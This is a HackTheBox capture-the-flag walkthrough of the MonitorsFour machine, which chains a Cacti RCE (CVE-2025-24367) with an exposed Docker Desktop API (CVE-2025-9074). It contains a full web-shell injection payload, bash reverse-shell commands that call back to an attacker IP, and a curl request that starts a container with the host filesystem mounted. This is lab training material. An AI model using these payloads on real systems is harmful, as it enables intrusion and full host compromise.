MonitorsFour writeup & walkthrough

MonitorsFour is a medium HackTheBox Windows machine exploiting Cacti RCE vulnerabilities (CVE-2025-24367) combined with Docker and Nginx misconfigurations for full compromise.

HackTheBox - MonitorsFour

Access Path

no access => marcus => container root => host access

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Directory Enumeration:

# Ffuf enumeration

ffuf -u http://monitorsfour.htb/FUZZ -w $wordlist

# Found:

# /contact - suspicious

# /user?token=lfi - didn't work

# 

Nuclei Scan:

nuclei -u http://monitorsfour.htb
/.env - found credentials

Subdomain Discovery:

# Wfuzz finds cacti subdomain

wfuzz -u http://monitorsfour.htb -H "Host: FUZZ.monitorsfour.htb" -w $wordlist

# Found: cacti.monitorsfour.htb

PHP Type Juggling

Testing for Injection:

# Checking for injection, weird output, etc.

# Fuzzing with alphanum wordlist

ffuf -u http://monitorsfour.htb/user?token=FUZZ -w /usr/share/wordlists/seclists/Fuzzing/alphanum-case-extra.txt
#or using burp

# PHP type juggling bypass

/user?token=0

# We take md5 hashes and crack them

# Sign in into cacti.monitorsfour.htb with marcus user

Cacti Exploitation

Enumeration:

# We see a note about docker desktop 4.44.2 (privilege escalation hint)

# Cacti version 1.2.28 - vulnerable to CVE-2025-24367

Exploit: CVE-2025-24367 - Cacti RCE

Manual Exploitation:

# We go into graphs page and edit the right_axis_label=

strikoder%0acreate+rev.rrd+--step+300+DS%3atemp%3aGAUGE%3a600%3a-273%3a5000+RRA%3aAVERAGE%3a0.5%3a1%3a1200%0agraph+revshell.php+-s+now+-a+CSV+DEF%3aout%3drev.rrd%3atemp%3aAVERAGE+LINE1%3aout%3a<%3f%3dsystem(array_values($_REQUEST)[0])%3b%3f>%0a

# Then we curl for a revshell

curl http://cacti.monitorsfour.htb/cacti/revshell.php --data-urlencode 'c=bash -c "bash -i >& /dev/tcp/OURIP/445 0>&1"'

Automatic Exploitation:

• Shell: https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC

# Run automated exploit

python3 exploit.py

Container Enumeration

Upload and Run LinEnum-ng:

# Create script on target

cat > linenum-ng.sh << 'EOF'

# paste script here

EOF

chmod +x linenum-ng.sh

./linenum-ng.sh

Database Configuration:

# Nothing interesting in:

cat /var/www/html/cacti/include/config.php

Network Discovery:

# Check hosts

getent hosts

# Check MariaDB host

getent hosts mariadb

# Results:

www-data@821fbd6a43fa:/tmp$ getent hosts

127.0.0.1       localhost

127.0.0.1       localhost ip6-localhost ip6-loopback

172.18.0.3      821fbd6a43fa

www-data@821fbd6a43fa:/tmp$ getent hosts mariadb

172.18.0.2      mariadb

# Check ARP table

cat /proc/net/arp

# However we see a hint in

cat /etc/resolv.conf

Docker Network Pivoting

Network Scanning:

# We upload ligolo and we do a scan

# Or we upload nmap

# Bash port scanner

for port in {1000..3000}; do (echo >/dev/tcp/192.168.1.1/$port) 2>/dev/null && echo "Port $port is open"; done

Docker Desktop Discovery:

# We saw a hint: docker desktop 4.44.2 ==> CVE-2025-9074

Privilege Escalation via Docker API

Exploit: CVE-2025-9074 - Docker Desktop Unauthorized Access

Docker API Enumeration:

# Check Docker API access

curl 192.168.65.7:2375

# Get Docker info

curl 192.168.65.7:2375/info

# List images

curl 192.168.65.7:2375/images/json

Container Escape:

# Create privileged container with host filesystem mounted

curl -H 'Content-Type: application/json' -d '{"Image": "docker_setup-nginx-php:latest", "Cmd":["/bin/bash","-c","bash -i >& /dev/tcp/OURIP/4445 0>&1"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' -o strikoder_container.json http://192.168.65.7:2375/containers/create

# Check container ID

cat strikoder_container.json

# Start the container (we get a revshell)

curl -d '' http://192.168.65.7:2375/containers/0684f6c186361d636f4aee033ad5e8ed8bc3b351ac07924daf260ff4f8be0e1d/start

Root Access:

# Once in container, access host filesystem

cd /host_root

# Full host filesystem access as root